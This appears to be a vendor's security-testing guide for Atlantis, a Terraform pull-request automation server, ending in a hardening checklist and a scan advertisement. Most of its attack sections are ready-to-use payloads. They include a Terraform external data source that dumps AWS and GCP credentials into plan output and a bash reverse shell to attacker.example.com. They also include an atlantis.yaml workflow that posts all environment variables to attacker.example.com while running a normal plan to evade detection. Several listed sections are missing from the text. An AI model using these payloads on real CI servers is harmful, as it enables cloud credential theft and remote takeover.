Atlantis Security Testing: RCE via PR Comments, Terraform Credential Theft, and Plan Injection

Atlantis is a popular Terraform pull request automation tool that runs terraform plan and apply on a central server triggered by pull request comments. Its unique threat model means: any developer who can open a pull request can execute arbitrary code on the Atlantis server by including a malicious Terraform external data source or provider, the Atlantis server environment holds production cloud credentials (AWS, GCP, Azure) needed to run Terraform — any code execution leads directly to cloud credential theft, plan output comments on pull requests reveal current infrastructure state including potentially sensitive resource attributes to all PR viewers, the GitHub/GitLab webhook secret protects against forged events but misconfiguration removes this protection, and the atlantis.yaml workflow configuration can be modified in a PR to execute arbitrary shell commands. This guide covers systematic Atlantis security assessment.

Table of Contents

  1. Atlantis Discovery and Reconnaissance
  2. RCE via Malicious Terraform in Pull Requests
  3. Cloud Credential Theft
  4. Webhook Secret Bypass
  5. atlantis.yaml Workflow Abuse
  6. Plan Output Information Disclosure
  7. Atlantis Security Hardening

Atlantis Discovery and Reconnaissance

# Atlantis default port: 4141
# Atlantis exposes a web UI at /

# Check if Atlantis UI is accessible (no auth by default on many deployments)
curl -s http://atlantis.example.com:4141/ 2>/dev/null | grep -i "atlantis" | head -5

# Atlantis API endpoints
# GET /healthz — health check, no auth
curl -s http://atlantis.example.com:4141/healthz 2>/dev/null | python3 -m json.tool | head -5

# Check Atlantis configuration exposed via API (no auth needed if not configured)
curl -s http://atlantis.example.com:4141/api/v1/repos 2>/dev/null | head -10

# Check if Atlantis allows Terraform plan/apply from any contributor
# (key: is the "allow-fork-prs" or "allow-all-server-side-workflows" setting enabled?)
curl -s http://atlantis.example.com:4141/api/v1/server-config 2>/dev/null | head -10

RCE via Malicious Terraform in Pull Requests

# Atlantis runs `terraform plan` and `apply` on a server
# An external_data source with shell commands runs on that server

# Malicious Terraform to exfiltrate credentials via external data source
# File: main.tf (in a PR)
cat > /tmp/rce-main.tf << 'EOF'
data "external" "exfil" {
  program = ["bash", "-c", <<-SCRIPT
    # Read cloud credentials from environment
    echo "{\"aws_access_key\": \"$AWS_ACCESS_KEY_ID\",\"aws_secret\": \"$AWS_SECRET_ACCESS_KEY\",\"aws_token\": \"$AWS_SESSION_TOKEN\",\"gcp_creds\": \"$(cat $GOOGLE_APPLICATION_CREDENTIALS 2>/dev/null | head -1)\"}"
  SCRIPT
  ]
}
output "result" {
  value = data.external.exfil.result
}
EOF
# When a PR containing this runs `atlantis plan`, the credentials appear in the plan output

# Reverse shell via Terraform external data source
cat > /tmp/shell-main.tf << 'EOF'
data "external" "shell" {
  program = ["bash", "-c", "bash -i >& /dev/tcp/attacker.example.com/4444 0>&1 & echo '{\"result\": \"ok\"}'"]
}
EOF
# This executes when `atlantis plan` is triggered on the PR

atlantis.yaml Workflow Abuse

# If atlantis.yaml is allowed to define custom workflows, any PR can override it
# File: atlantis.yaml (in PR root)
cat > /tmp/atlantis.yaml << 'EOF'
version: 3
projects:
- name: malicious
  dir: .
  workflow: exfil
workflows:
  exfil:
    plan:
      steps:
      - run: |
          # Exfiltrate all env vars including cloud credentials
          env | curl -s -X POST https://attacker.example.com/exfil \
            --data-binary @- -H "Content-Type: text/plain" || true
          # Then run legitimate plan to avoid detection
          terraform plan -out=$PLANFILE
    apply:
      steps:
      - run: terraform apply $PLANFILE
EOF
# This yaml executes the run steps instead of the default terraform commands
# when `atlantis plan` is triggered on a PR that includes this file

# Check if server-side-workflows is disabled (prevents this attack)
# If atlantis server config has --allow-repo-config=false, the above won't work

Atlantis Security Hardening

Atlantis Security Hardening Checklist:
Security TestMethodRisk
RCE via external data source in PR TerraformInclude data "external" with reverse shell — trigger atlantis plan via PR commentCritical
Cloud credential theft via plan outputRead env vars (AWS_ACCESS_KEY_ID) from external data source — printed in plan outputCritical
atlantis.yaml workflow shell command injectionAdd custom workflow with run: step executing arbitrary shell — if repo config allowedHigh
Webhook secret not configuredPOST forged GitHub webhook to /events — triggers plan on attacker-controlled repoHigh
Plan output reveals infrastructure stateRead PR comments — resource attributes including secrets visible in plan diffMedium
Atlantis UI accessible without authenticationBrowse :4141 — lists repos, recent plans, apply status without loginMedium

Automate Atlantis Security Testing

Ironimo tests Atlantis Terraform automation deployments for RCE via malicious external data sources in pull requests, cloud credential theft from server environment variables, atlantis.yaml workflow shell command injection, webhook secret bypass enabling forged plan triggers, plan output information disclosure revealing infrastructure state, and unauthenticated Atlantis UI access exposing repository and deployment history.

Start free scan